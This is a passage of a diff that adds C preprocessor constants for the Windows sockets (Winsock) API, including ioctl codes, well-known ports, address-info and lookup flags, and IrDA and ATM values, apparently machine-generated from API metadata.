+#define SIO_ROUTING_INTERFACE_CHANGE 0x88000015 +#define SIO_ADDRESS_LIST_QUERY 0x48000016 +#define SIO_ADDRESS_LIST_CHANGE 0x28000017 +#define SIO_QUERY_TARGET_PNP_HANDLE 0x48000018 +#define SIO_QUERY_RSS_PROCESSOR_INFO 0x48000025 +#define SIO_ADDRESS_LIST_SORT 0xc8000019 +#define SIO_RESERVED_1 0x8800001a +#define SIO_RESERVED_2 0x88000021 +#define SIO_GET_MULTIPLE_EXTENSION_FUNCTION_POINTER 0xc8000024 +#define IPPORT_TCPMUX 0x1 +#define IPPORT_ECHO 0x7 +#define IPPORT_DISCARD 0x9 +#define IPPORT_SYSTAT 0xb +#define IPPORT_DAYTIME 0xd +#define IPPORT_NETSTAT 0xf +#define IPPORT_QOTD 0x11 +#define IPPORT_MSP 0x12 +#define IPPORT_CHARGEN 0x13 +#define IPPORT_FTP_DATA 0x14 +#define IPPORT_FTP 0x15 +#define IPPORT_TELNET 0x17 +#define IPPORT_SMTP 0x19 +#define IPPORT_TIMESERVER 0x25 +#define IPPORT_NAMESERVER 0x2a +#define IPPORT_WHOIS 0x2b +#define IPPORT_MTP 0x39 +#define IPPORT_TFTP 0x45 +#define IPPORT_RJE 0x4d +#define IPPORT_FINGER 0x4f +#define IPPORT_TTYLINK 0x57 +#define IPPORT_SUPDUP 0x5f +#define IPPORT_POP3 0x6e +#define IPPORT_NTP 0x7b +#define IPPORT_EPMAP 0x87 +#define IPPORT_NETBIOS_NS 0x89 +#define IPPORT_NETBIOS_DGM 0x8a +#define IPPORT_NETBIOS_SSN 0x8b +#define IPPORT_IMAP 0x8f +#define IPPORT_SNMP 0xa1 +#define IPPORT_SNMP_TRAP 0xa2 +#define IPPORT_IMAP3 0xdc +#define IPPORT_LDAP 0x185 +#define IPPORT_HTTPS 0x1bb +#define IPPORT_MICROSOFT_DS 0x1bd +#define IPPORT_EXECSERVER 0x200 +#define IPPORT_LOGINSERVER 0x201 +#define IPPORT_CMDSERVER 0x202 +#define IPPORT_EFSSERVER 0x208 +#define IPPORT_BIFFUDP 0x200 +#define IPPORT_WHOSERVER 0x201 +#define IPPORT_ROUTESERVER 0x208 +#define IPPORT_RESERVED 0x400 +#define IPPORT_REGISTERED_MIN 0x400 +#define IPPORT_REGISTERED_MAX 0xbfff +#define IPPORT_DYNAMIC_MIN 0xc000 +#define IPPORT_DYNAMIC_MAX 0xffff +#define IN_CLASSA_NET 0xff000000 +#define IN_CLASSA_NSHIFT 0x18 +#define IN_CLASSA_HOST 0xffffff +#define IN_CLASSA_MAX 0x80 +#define IN_CLASSB_NET 0xffff0000 +#define IN_CLASSB_NSHIFT 0x10 +#define IN_CLASSB_HOST 0xffff +#define IN_CLASSB_MAX 0x10000 +#define IN_CLASSC_NET 0xffffff00 +#define IN_CLASSC_NSHIFT 0x8 +#define IN_CLASSC_HOST 0xff +#define IN_CLASSD_NET 0xf0000000 +#define IN_CLASSD_NSHIFT 0x1c +#define IN_CLASSD_HOST 0xfffffff +#define INADDR_LOOPBACK 0x7f000001 +#define INADDR_NONE 0xffffffff +#define IOCPARM_MASK 0x7f +#define IOC_VOID 0x20000000 +#define IOC_OUT 0x40000000 +#define IOC_IN 0x80000000 +#define MSG_TRUNC 0x100 +#define MSG_CTRUNC 0x200 +#define MSG_BCAST 0x400 +#define MSG_MCAST 0x800 +#define MSG_ERRQUEUE 0x1000 +#define AI_PASSIVE 0x1 +#define AI_CANONNAME 0x2 +#define AI_NUMERICHOST 0x4 +#define AI_NUMERICSERV 0x8 +#define AI_DNS_ONLY 0x10 +#define AI_FORCE_CLEAR_TEXT 0x20 +#define AI_BYPASS_DNS_CACHE 0x40 +#define AI_RETURN_TTL 0x80 +#define AI_ALL 0x100 +#define AI_ADDRCONFIG 0x400 +#define AI_V4MAPPED 0x800 +#define AI_NON_AUTHORITATIVE 0x4000 +#define AI_SECURE 0x8000 +#define AI_RETURN_PREFERRED_NAMES 0x10000 +#define AI_FQDN 0x20000 +#define AI_FILESERVER 0x40000 +#define AI_DISABLE_IDN_ENCODING 0x80000 +#define AI_SECURE_WITH_FALLBACK 0x100000 +#define AI_EXCLUSIVE_CUSTOM_SERVERS 0x200000 +#define AI_RETURN_RESPONSE_FLAGS 0x10000000 +#define AI_REQUIRE_SECURE 0x20000000 +#define AI_RESOLUTION_HANDLE 0x40000000 +#define AI_EXTENDED 0x80000000 +#define ADDRINFOEX_VERSION_2 0x2 +#define ADDRINFOEX_VERSION_3 0x3 +#define ADDRINFOEX_VERSION_4 0x4 +#define ADDRINFOEX_VERSION_5 0x5 +#define ADDRINFOEX_VERSION_6 0x6 +#define ADDRINFOEX_VERSION_7 0x7 +#define AI_DNS_SERVER_TYPE_UDP 0x1 +#define AI_DNS_SERVER_TYPE_DOH 0x2 +#define AI_DNS_SERVER_TYPE_DOT 0x3 +#define AI_DNS_SERVER_UDP_FALLBACK 0x1 +#define AI_DNS_RESPONSE_SECURE 0x1 +#define AI_DNS_RESPONSE_HOSTFILE 0x2 +#define AI_EXTRA_DNSSEC_REQUIRED 0x1 +#define NS_ALL 0x0 +#define NS_SAP 0x1 +#define NS_NDS 0x2 +#define NS_PEER_BROWSE 0x3 +#define NS_SLP 0x5 +#define NS_DHCP 0x6 +#define NS_TCPIP_LOCAL 0xa +#define NS_TCPIP_HOSTS 0xb +#define NS_DNS 0xc +#define NS_NETBT 0xd +#define NS_WINS 0xe +#define NS_NLA 0xf +#define NS_NBP 0x14 +#define NS_MS 0x1e +#define NS_STDA 0x1f +#define NS_NTDS 0x20 +#define NS_EMAIL 0x25 +#define NS_X500 0x28 +#define NS_NIS 0x29 +#define NS_NISPLUS 0x2a +#define NS_WRQ 0x32 +#define NS_NETDES 0x3c +#define NI_NOFQDN 0x1 +#define NI_NUMERICHOST 0x2 +#define NI_NAMEREQD 0x4 +#define NI_NUMERICSERV 0x8 +#define NI_DGRAM 0x10 +#define NI_MAXHOST 0x401 +#define NI_MAXSERV 0x20 +#define IFF_UP 0x1 +#define IFF_BROADCAST 0x2 +#define IFF_LOOPBACK 0x4 +#define IFF_POINTTOPOINT 0x8 +#define IFF_MULTICAST 0x10 +#define IP_OPTIONS 1 +#define IP_HDRINCL 2 +#define IP_TOS 3 +#define IP_TTL 4 +#define IP_MULTICAST_IF 9 +#define IP_MULTICAST_TTL 10 +#define IP_MULTICAST_LOOP 11 +#define IP_ADD_MEMBERSHIP 12 +#define IP_DROP_MEMBERSHIP 13 +#define IP_DONTFRAGMENT 14 +#define IP_ADD_SOURCE_MEMBERSHIP 15 +#define IP_DROP_SOURCE_MEMBERSHIP 16 +#define IP_BLOCK_SOURCE 17 +#define IP_UNBLOCK_SOURCE 18 +#define IP_PKTINFO 19 +#define IP_HOPLIMIT 21 +#define IP_RECVTTL 21 +#define IP_RECEIVE_BROADCAST 22 +#define IP_RECVIF 24 +#define IP_RECVDSTADDR 25 +#define IP_IFLIST 28 +#define IP_ADD_IFLIST 29 +#define IP_DEL_IFLIST 30 +#define IP_UNICAST_IF 31 +#define IP_RTHDR 32 +#define IP_GET_IFLIST 33 +#define IP_RECVRTHDR 38 +#define IP_TCLASS 39 +#define IP_RECVTCLASS 40 +#define IP_RECVTOS 40 +#define IP_ORIGINAL_ARRIVAL_IF 47 +#define IP_ECN 50 +#define IP_RECVECN 50 +#define IP_PKTINFO_EX 51 +#define IP_WFP_REDIRECT_RECORDS 60 +#define IP_WFP_REDIRECT_CONTEXT 70 +#define IP_MTU_DISCOVER 71 +#define IP_MTU 73 +#define IP_NRT_INTERFACE 74 +#define IP_RECVERR 75 +#define IP_USER_MTU 76 +#define IP_UNSPECIFIED_TYPE_OF_SERVICE -1 +#define IP_UNSPECIFIED_USER_MTU 0xffffffff +#define IN6ADDR_LINKLOCALPREFIX_LENGTH 0x40 +#define IN6ADDR_MULTICASTPREFIX_LENGTH 0x8 +#define IN6ADDR_SOLICITEDNODEMULTICASTPREFIX_LENGTH 0x68 +#define IN6ADDR_V4MAPPEDPREFIX_LENGTH 0x60 +#define IN6ADDR_6TO4PREFIX_LENGTH 0x10 +#define IN6ADDR_TEREDOPREFIX_LENGTH 0x20 +#define MCAST_JOIN_GROUP 0x29 +#define MCAST_LEAVE_GROUP 0x2a +#define MCAST_BLOCK_SOURCE 0x2b +#define MCAST_UNBLOCK_SOURCE 0x2c +#define MCAST_JOIN_SOURCE_GROUP 0x2d +#define MCAST_LEAVE_SOURCE_GROUP 0x2e +#define IPV6_HOPOPTS 1 +#define IPV6_HDRINCL 2 +#define IPV6_UNICAST_HOPS 4 +#define IPV6_MULTICAST_IF 9 +#define IPV6_MULTICAST_HOPS 10 +#define IPV6_MULTICAST_LOOP 11 +#define IPV6_ADD_MEMBERSHIP 12 +#define IPV6_JOIN_GROUP 12 +#define IPV6_DROP_MEMBERSHIP 13 +#define IPV6_LEAVE_GROUP 13 +#define IPV6_DONTFRAG 14 +#define IPV6_PKTINFO 19 +#define IPV6_HOPLIMIT 21 +#define IPV6_PROTECTION_LEVEL 23 +#define IPV6_RECVIF 24 +#define IPV6_RECVDSTADDR 25 +#define IPV6_CHECKSUM 26 +#define IPV6_V6ONLY 27 +#define IPV6_IFLIST 28 +#define IPV6_ADD_IFLIST 29 +#define IPV6_DEL_IFLIST 30 +#define IPV6_UNICAST_IF 31 +#define IPV6_RTHDR 32 +#define IPV6_GET_IFLIST 33 +#define IPV6_RECVRTHDR 38 +#define IPV6_TCLASS 39 +#define IPV6_RECVTCLASS 40 +#define IPV6_ECN 50 +#define IPV6_RECVECN 50 +#define IPV6_PKTINFO_EX 51 +#define IPV6_WFP_REDIRECT_RECORDS 60 +#define IPV6_WFP_REDIRECT_CONTEXT 70 +#define IPV6_MTU_DISCOVER 71 +#define IPV6_MTU 72 +#define IPV6_NRT_INTERFACE 74 +#define IPV6_RECVERR 75 +#define IPV6_USER_MTU 76 +#define IP_UNSPECIFIED_HOP_LIMIT -1 +#define IP_PROTECTION_LEVEL 23 +#define PROTECTION_LEVEL_UNRESTRICTED 0xa +#define PROTECTION_LEVEL_EDGERESTRICTED 0x14 +#define PROTECTION_LEVEL_RESTRICTED 0x1e +#define PROTECTION_LEVEL_DEFAULT 0x14 +#define INET_ADDRSTRLEN 0x16 +#define INET6_ADDRSTRLEN 0x41 +#define TCP_OFFLOAD_NO_PREFERENCE 0 +#define TCP_OFFLOAD_NOT_PREFERRED 1 +#define TCP_OFFLOAD_PREFERRED 2 +#define TCP_EXPEDITED_1122 2 +#define TCP_KEEPALIVE 3 +#define TCP_MAXSEG 4 +#define TCP_MAXRT 5 +#define TCP_STDURG 6 +#define TCP_NOURG 7 +#define TCP_ATMARK 8 +#define TCP_NOSYNRETRIES 9 +#define TCP_TIMESTAMPS 10 +#define TCP_OFFLOAD_PREFERENCE 11 +#define TCP_CONGESTION_ALGORITHM 12 +#define TCP_DELAY_FIN_ACK 13 +#define TCP_MAXRTMS 14 +#define TCP_FASTOPEN 15 +#define TCP_KEEPCNT 16 +#define TCP_KEEPIDLE 3 +#define TCP_KEEPINTVL 17 +#define TCP_FAIL_CONNECT_ON_ICMP_ERROR 18 +#define TCP_ICMP_ERROR_INFO 19 +#define UDP_SEND_MSG_SIZE 2 +#define UDP_RECV_MAX_COALESCED_SIZE 3 +#define UDP_COALESCED_INFO 0x3 +#define WINDOWS_AF_IRDA 0x1a +#define WINDOWS_PF_IRDA 0x1a +#define WCE_AF_IRDA 0x16 +#define WCE_PF_IRDA 0x16 +#define IRDA_PROTO_SOCK_STREAM 0x1 +#define PF_IRDA 0x1a +#define SOL_IRLMP 255 +#define IRLMP_ENUMDEVICES 16 +#define IRLMP_IAS_SET 17 +#define IRLMP_IAS_QUERY 18 +#define IRLMP_SEND_PDU_LEN 19 +#define IRLMP_EXCLUSIVE_MODE 20 +#define IRLMP_IRLPT_MODE 21 +#define IRLMP_9WIRE_MODE 22 +#define IRLMP_TINYTP_MODE 23 +#define IRLMP_PARAMETERS 24 +#define IRLMP_DISCOVERY_MODE 25 +#define IRLMP_SHARP_MODE 32 +#define IAS_ATTRIB_NO_CLASS 0x10 +#define IAS_ATTRIB_NO_ATTRIB 0x0 +#define IAS_ATTRIB_INT 0x1 +#define IAS_ATTRIB_OCTETSEQ 0x2 +#define IAS_ATTRIB_STR 0x3 +#define IAS_MAX_USER_STRING 0x100 +#define IAS_MAX_OCTET_STRING 0x400 +#define IAS_MAX_CLASSNAME 0x40 +#define IAS_MAX_ATTRIBNAME 0x100 +#define LmCharSetASCII 0x0 +#define LmCharSetISO_8859_1 0x1 +#define LmCharSetISO_8859_2 0x2 +#define LmCharSetISO_8859_3 0x3 +#define LmCharSetISO_8859_4 0x4 +#define LmCharSetISO_8859_5 0x5 +#define LmCharSetISO_8859_6 0x6 +#define LmCharSetISO_8859_7 0x7 +#define LmCharSetISO_8859_8 0x8 +#define LmCharSetISO_8859_9 0x9 +#define LmCharSetUNICODE 0xff +#define LM_BAUD_1200 0x4b0 +#define LM_BAUD_2400 0x960 +#define LM_BAUD_9600 0x2580 +#define LM_BAUD_19200 0x4b00 +#define LM_BAUD_38400 0x9600 +#define LM_BAUD_57600 0xe100 +#define LM_BAUD_115200 0x1c200 +#define LM_BAUD_576K 0x8ca00 +#define LM_BAUD_1152K 0x119400 +#define LM_BAUD_4M 0x3d0900 +#define LM_BAUD_16M 0xf42400 +#define SO_CONNDATA 28672 +#define SO_CONNOPT 28673 +#define SO_DISCDATA 28674 +#define SO_DISCOPT 28675 +#define SO_CONNDATALEN 28676 +#define SO_CONNOPTLEN 28677 +#define SO_DISCDATALEN 28678 +#define SO_DISCOPTLEN 28679 +#define SO_OPENTYPE 28680 +#define SO_SYNCHRONOUS_ALERT 0x10 +#define SO_SYNCHRONOUS_NONALERT 0x20 +#define SO_MAXDG 28681 +#define SO_MAXPATHDG 28682 +#define SO_UPDATE_ACCEPT_CONTEXT 28683 +#define SO_CONNECT_TIME 28684 +#define SO_UPDATE_CONNECT_CONTEXT 28688 +#define TCP_BSDURGENT 28672 +#define SIO_UDP_CONNRESET 0x9800000c +#define SIO_SOCKET_CLOSE_NOTIFY 0x9800000d +#define SIO_UDP_NETRESET 0x9800000f +#define TF_DISCONNECT 0x1 +#define TF_REUSE_SOCKET 0x2 +#define TF_WRITE_BEHIND 0x4 +#define TF_USE_DEFAULT_WORKER 0x0 +#define TF_USE_SYSTEM_THREAD 0x10 +#define TF_USE_KERNEL_APC 0x20 +#define TP_ELEMENT_MEMORY 0x1 +#define TP_ELEMENT_FILE 0x2 +#define TP_ELEMENT_EOP 0x4 +#define TP_DISCONNECT 0x1 +#define TP_REUSE_SOCKET 0x2 +#define TP_USE_DEFAULT_WORKER 0x0 +#define TP_USE_SYSTEM_THREAD 0x10 +#define TP_USE_KERNEL_APC 0x20 +#define DE_REUSE_SOCKET 0x2 +#define NLA_ALLUSERS_NETWORK 0x1 +#define NLA_FRIENDLY_NAME 0x2 +#define SIO_BSP_HANDLE 0x4800001b +#define SIO_BSP_HANDLE_SELECT 0x4800001c +#define SIO_BSP_HANDLE_POLL 0x4800001d +#define SIO_BASE_HANDLE 0x48000022 +#define SIO_EXT_SELECT 0xc800001e +#define SIO_EXT_POLL 0xc800001f +#define SIO_EXT_SENDMSG 0xc8000020 +#define SERVICE_RESOURCE 0x1 +#define SERVICE_SERVICE 0x2 +#define SERVICE_LOCAL 0x4 +#define SERVICE_FLAG_DEFER 0x1 +#define SERVICE_FLAG_HARD 0x2 +#define PROP_COMMENT 0x1 +#define PROP_LOCALE 0x2 +#define PROP_DISPLAY_HINT 0x4 +#define PROP_VERSION 0x8 +#define PROP_START_TIME 0x10 +#define PROP_MACHINE 0x20 +#define PROP_ADDRESSES 0x100 +#define PROP_SD 0x200 +#define PROP_ALL 0x80000000 +#define SERVICE_ADDRESS_FLAG_RPC_CN 0x1 +#define SERVICE_ADDRESS_FLAG_RPC_DG 0x2 +#define SERVICE_ADDRESS_FLAG_RPC_NB 0x4 +#define NS_DEFAULT 0x0 +#define NS_VNS 0x32 +#define NSTYPE_HIERARCHICAL 0x1 +#define NSTYPE_DYNAMIC 0x2 +#define NSTYPE_ENUMERABLE 0x4 +#define NSTYPE_WORKGROUP 0x8 +#define XP_CONNECTIONLESS 0x1 +#define XP_GUARANTEED_DELIVERY 0x2 +#define XP_GUARANTEED_ORDER 0x4 +#define XP_MESSAGE_ORIENTED 0x8 +#define XP_PSEUDO_STREAM 0x10 +#define XP_GRACEFUL_CLOSE 0x20 +#define XP_EXPEDITED_DATA 0x40 +#define XP_CONNECT_DATA 0x80 +#define XP_DISCONNECT_DATA 0x100 +#define XP_SUPPORTS_BROADCAST 0x200 +#define XP_SUPPORTS_MULTICAST 0x400 +#define XP_BANDWIDTH_ALLOCATION 0x800 +#define XP_FRAGMENTATION 0x1000 +#define XP_ENCRYPTS 0x2000 +#define RES_SOFT_SEARCH 0x1 +#define RES_FIND_MULTIPLE 0x2 +#define RES_SERVICE 0x4 +// SKIPPED const SERVICE_TYPE_VALUE_SAPIDA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_SAPIDW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_CONNA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_CONNW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_TCPPORTA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_TCPPORTW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_UDPPORTA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_UDPPORTW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_SAPID: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_CONN: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_TCPPORT: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_UDPPORT: non-integer constant +#define SET_SERVICE_PARTIAL_SUCCESS 0x1 +#define FD_SETSIZE 0x40 +#define IMPLINK_IP 0x9b +#define IMPLINK_LOWEXPER 0x9c +#define IMPLINK_HIGHEXPER 0x9e +#define WSADESCRIPTION_LEN 0x100 +#define WSASYS_STATUS_LEN 0x80 +#define IP_DEFAULT_MULTICAST_TTL 0x1 +#define IP_DEFAULT_MULTICAST_LOOP 0x1 +#define IP_MAX_MEMBERSHIPS 0x14 +#define SOCKET_ERROR -1 +#define PF_UNIX 0x1 +#define PF_IMPLINK 0x3 +#define PF_PUP 0x4 +#define PF_CHAOS 0x5 +#define PF_NS 0x6 +#define PF_IPX 0x6 +#define PF_ISO 0x7 +#define PF_OSI 0x7 +#define PF_ECMA 0x8 +#define PF_DATAKIT 0x9 +#define PF_CCITT 0xa +#define PF_SNA 0xb +#define PF_DECnet 0xc +#define PF_DLI 0xd +#define PF_LAT 0xe +#define PF_HYLINK 0xf +#define PF_APPLETALK 0x10 +#define PF_VOICEVIEW 0x12 +#define PF_FIREFOX 0x13 +#define PF_UNKNOWN1 0x14 +#define PF_BAN 0x15 +#define PF_MAX 0x1d +#define SOMAXCONN 0x5 +#define MSG_MAXIOVLEN 0x10 +#define MSG_PARTIAL 0x8000 +#define MAXGETHOSTSTRUCT 0x400 +#define FD_READ 0x1 +#define FD_WRITE 0x2 +#define FD_OOB 0x4 +#define FD_ACCEPT 0x8 +#define FD_CONNECT 0x10 +#define FD_CLOSE 0x20 +#define INCL_WINSOCK_API_PROTOTYPES 0x1 +#define INCL_WINSOCK_API_TYPEDEFS 0x0 +#define ADDR_ANY 0x0 +#define FROM_PROTOCOL_INFO -1 +#define SO_PROTOCOL_INFOA 8196 +#define SO_PROTOCOL_INFOW 8197 +#define SO_PROTOCOL_INFO 8197 +#define PVD_CONFIG 12289 +#define PF_ATM 0x16 +#define MSG_INTERRUPT 0x10 +#define FD_READ_BIT 0x0 +#define FD_WRITE_BIT 0x1 +#define FD_OOB_BIT 0x2 +#define FD_ACCEPT_BIT 0x3 +#define FD_CONNECT_BIT 0x4 +#define FD_CLOSE_BIT 0x5 +#define FD_QOS_BIT 0x6 +#define FD_GROUP_QOS_BIT 0x7 +#define FD_ROUTING_INTERFACE_CHANGE_BIT 0x8 +#define FD_ADDRESS_LIST_CHANGE_BIT 0x9 +#define FD_MAX_EVENTS 0xa +#define WSA_MAXIMUM_WAIT_EVENTS 0x40 +#define WSA_WAIT_FAILED 0xffffffff +#define WSA_WAIT_TIMEOUT 0x102 +#define CF_ACCEPT 0x0 +#define CF_REJECT 0x1 +#define CF_DEFER 0x2 +#define SG_UNCONSTRAINED_GROUP 0x1 +#define SG_CONSTRAINED_GROUP 0x2 +#define MAX_PROTOCOL_CHAIN 0x7 +#define BASE_PROTOCOL 0x1 +#define LAYERED_PROTOCOL 0x0 +#define WSAPROTOCOL_LEN 0xff +#define PFL_MULTIPLE_PROTO_ENTRIES 0x1 +#define PFL_RECOMMENDED_PROTO_ENTRY 0x2 +#define PFL_HIDDEN 0x4 +#define PFL_MATCHES_PROTOCOL_ZERO 0x8 +#define PFL_NETWORKDIRECT_PROVIDER 0x10 +#define XP1_CONNECTIONLESS 0x1 +#define XP1_GUARANTEED_DELIVERY 0x2 +#define XP1_GUARANTEED_ORDER 0x4 +#define XP1_MESSAGE_ORIENTED 0x8 +#define XP1_PSEUDO_STREAM 0x10 +#define XP1_GRACEFUL_CLOSE 0x20 +#define XP1_EXPEDITED_DATA 0x40 +#define XP1_CONNECT_DATA 0x80 +#define XP1_DISCONNECT_DATA 0x100 +#define XP1_SUPPORT_BROADCAST 0x200 +#define XP1_SUPPORT_MULTIPOINT 0x400 +#define XP1_MULTIPOINT_CONTROL_PLANE 0x800 +#define XP1_MULTIPOINT_DATA_PLANE 0x1000 +#define XP1_QOS_SUPPORTED 0x2000 +#define XP1_INTERRUPT 0x4000 +#define XP1_UNI_SEND 0x8000 +#define XP1_UNI_RECV 0x10000 +#define XP1_IFS_HANDLES 0x20000 +#define XP1_PARTIAL_MESSAGE 0x40000 +#define XP1_SAN_SUPPORT_SDP 0x80000 +#define BIGENDIAN 0x0 +#define LITTLEENDIAN 0x1 +#define SECURITY_PROTOCOL_NONE 0x0 +#define JL_SENDER_ONLY 0x1 +#define JL_RECEIVER_ONLY 0x2 +#define JL_BOTH 0x4 +#define WSA_FLAG_OVERLAPPED 0x1 +#define WSA_FLAG_MULTIPOINT_C_ROOT 0x2 +#define WSA_FLAG_MULTIPOINT_C_LEAF 0x4 +#define WSA_FLAG_MULTIPOINT_D_ROOT 0x8 +#define WSA_FLAG_MULTIPOINT_D_LEAF 0x10 +#define WSA_FLAG_ACCESS_SYSTEM_SECURITY 0x40 +#define WSA_FLAG_NO_HANDLE_INHERIT 0x80 +#define WSA_FLAG_REGISTERED_IO 0x100 +#define SIO_NSP_NOTIFY_CHANGE 0x88000019 +#define TH_NETDEV 0x1 +#define TH_TAPI 0x2 +#define SERVICE_MULTIPLE 0x1 +#define NS_LOCALNAME 0x13 +#define RES_UNUSED_1 0x1 +#define RES_FLUSH_CACHE 0x2 +// SKIPPED const SERVICE_TYPE_VALUE_IPXPORTA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_IPXPORTW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_OBJECTIDA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_OBJECTIDW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_OBJECTID: non-integer constant +#define LUP_DEEP 0x1 +#define LUP_CONTAINERS 0x2 +#define LUP_NOCONTAINERS 0x4 +#define LUP_NEAREST 0x8 +#define LUP_RETURN_NAME 0x10 +#define LUP_RETURN_TYPE 0x20 +#define LUP_RETURN_VERSION 0x40 +#define LUP_RETURN_COMMENT 0x80 +#define LUP_RETURN_ADDR 0x100 +#define LUP_RETURN_BLOB 0x200 +#define LUP_RETURN_ALIASES 0x400 +#define LUP_RETURN_QUERY_STRING 0x800 +#define LUP_RETURN_ALL 0xff0 +#define LUP_RES_SERVICE 0x8000 +#define LUP_FLUSHCACHE 0x1000 +#define LUP_FLUSHPREVIOUS 0x2000 +#define LUP_NON_AUTHORITATIVE 0x4000 +#define LUP_SECURE 0x8000 +#define LUP_RETURN_PREFERRED_NAMES 0x10000 +#define LUP_DNS_ONLY 0x20000 +#define LUP_RETURN_RESPONSE_FLAGS 0x40000 +#define LUP_RESERVED_UNUSED 0x80000 +#define LUP_ADDRCONFIG 0x100000 +#define LUP_DUAL_ADDR 0x200000 +#define LUP_FILESERVER 0x400000 +#define LUP_DISABLE_IDN_ENCODING 0x800000 +#define LUP_API_ANSI 0x1000000 +#define LUP_EXTENDED_QUERYSET 0x2000000 +#define LUP_SECURE_WITH_FALLBACK 0x4000000 +#define LUP_EXCLUSIVE_CUSTOM_SERVERS 0x8000000 +#define LUP_REQUIRE_SECURE 0x10000000 +#define LUP_RETURN_TTL 0x20000000 +#define LUP_FORCE_CLEAR_TEXT 0x40000000 +#define LUP_RESOLUTION_HANDLE 0x80000000 +#define RESULT_IS_ALIAS 0x1 +#define RESULT_IS_ADDED 0x10 +#define RESULT_IS_CHANGED 0x20 +#define RESULT_IS_DELETED 0x40 +#define SOCK_NOTIFY_REGISTER_EVENT_NONE 0x0 +#define SOCK_NOTIFY_REGISTER_EVENT_IN 0x1 +#define SOCK_NOTIFY_REGISTER_EVENT_OUT 0x2 +#define SOCK_NOTIFY_REGISTER_EVENT_HANGUP 0x4 +#define SOCK_NOTIFY_EVENT_IN 0x1 +#define SOCK_NOTIFY_EVENT_OUT 0x2 +#define SOCK_NOTIFY_EVENT_HANGUP 0x4 +#define SOCK_NOTIFY_EVENT_ERR 0x40 +#define SOCK_NOTIFY_EVENT_REMOVE 0x80 +#define SOCK_NOTIFY_OP_NONE 0x0 +#define SOCK_NOTIFY_OP_ENABLE 0x1 +#define SOCK_NOTIFY_OP_DISABLE 0x2 +#define SOCK_NOTIFY_OP_REMOVE 0x4 +#define SOCK_NOTIFY_TRIGGER_ONESHOT 0x1 +#define SOCK_NOTIFY_TRIGGER_PERSISTENT 0x2 +#define SOCK_NOTIFY_TRIGGER_LEVEL 0x4 +#define SOCK_NOTIFY_TRIGGER_EDGE 0x8 +#define ATMPROTO_AALUSER 0x0 +#define ATMPROTO_AAL1 0x1 +#define ATMPROTO_AAL2 0x2 +#define ATMPROTO_AAL34 0x3 +#define ATMPROTO_AAL5 0x5 +#define SAP_FIELD_ABSENT 0xfffffffe +#define SAP_FIELD_ANY 0xffffffff +#define SAP_FIELD_ANY_AESA_SEL 0xfffffffa +#define SAP_FIELD_ANY_AESA_REST 0xfffffffb +#define ATM_E164 0x1 +#define ATM_NSAP 0x2 +#define ATM_AESA 0x2 +#define ATM_ADDR_SIZE 0x14 +#define BLLI_L2_ISO_1745 0x1 +#define BLLI_L2_Q921 0x2 +#define BLLI_L2_X25L 0x6 +#define BLLI_L2_X25M 0x7 +#define BLLI_L2_ELAPB 0x8 +#define BLLI_L2_HDLC_ARM 0x9 +#define BLLI_L2_HDLC_NRM 0xa +#define BLLI_L2_HDLC_ABM 0xb +#define BLLI_L2_LLC 0xc +#define BLLI_L2_X75 0xd +#define BLLI_L2_Q922 0xe +#define BLLI_L2_USER_SPECIFIED 0x10 +#define BLLI_L2_ISO_7776 0x11 +#define BLLI_L3_X25 0x6 +#define BLLI_L3_ISO_8208 0x7 +#define BLLI_L3_X223 0x8 +#define BLLI_L3_SIO_8473 0x9 +#define BLLI_L3_T70 0xa +#define BLLI_L3_ISO_TR9577 0xb +#define BLLI_L3_USER_SPECIFIED 0x10 +#define BLLI_L3_IPI_SNAP 0x80 +#define BLLI_L3_IPI_IP 0xcc +#define BHLI_ISO 0x0 +#define BHLI_UserSpecific 0x1 +#define BHLI_HighLayerProfile 0x2 +#define BHLI_VendorSpecificAppId 0x3 +#define AAL5_MODE_MESSAGE 0x1 +#define AAL5_MODE_STREAMING 0x2 +#define AAL5_SSCS_NULL 0x0 +#define AAL5_SSCS_SSCOP_ASSURED 0x1 +#define AAL5_SSCS_SSCOP_NON_ASSURED 0x2 +#define AAL5_SSCS_FRAME_RELAY 0x4 +#define BCOB_A 0x1 +#define BCOB_C 0x3 +#define BCOB_X 0x10 +#define TT_NOIND 0x0 +#define TT_CBR 0x4 +#define TT_VBR 0x8 +#define TR_NOIND 0x0 +#define TR_END_TO_END 0x1 +#define TR_NO_END_TO_END 0x2 +#define CLIP_NOT 0x0 +#define CLIP_SUS 0x20 +#define UP_P2P 0x0 +#define UP_P2MP 0x1 +#define BLLI_L2_MODE_NORMAL 0x40 +#define BLLI_L2_MODE_EXT 0x80 +#define BLLI_L3_MODE_NORMAL 0x40 +#define BLLI_L3_MODE_EXT 0x80 +#define BLLI_L3_PACKET_16 0x4 +#define BLLI_L3_PACKET_32 0x5 +#define BLLI_L3_PACKET_64 0x6 +#define BLLI_L3_PACKET_128 0x7 +#define BLLI_L3_PACKET_256 0x8 +#define BLLI_L3_PACKET_512 0x9 +#define BLLI_L3_PACKET_1024 0xa +#define BLLI_L3_PACKET_2048 0xb +#define BLLI_L3_PACKET_4096 0xc +#define PI_ALLOWED 0x0 +#define PI_RESTRICTED 0x40 +#define PI_NUMBER_NOT_AVAILABLE 0x80 +#define SI_USER_NOT_SCREENED 0x0 +#define SI_USER_PASSED 0x1 +#define SI_USER_FAILED 0x2 +#define SI_NETWORK 0x3 +#define CAUSE_LOC_USER 0x0 +#define CAUSE_LOC_PRIVATE_LOCAL 0x1 +#define CAUSE_LOC_PUBLIC_LOCAL 0x2 +#define CAUSE_LOC_TRANSIT_NETWORK 0x3 +#define CAUSE_LOC_PUBLIC_REMOTE 0x4 +#define CAUSE_LOC_PRIVATE_REMOTE 0x5 +#define CAUSE_LOC_INTERNATIONAL_NETWORK 0x7 +#define 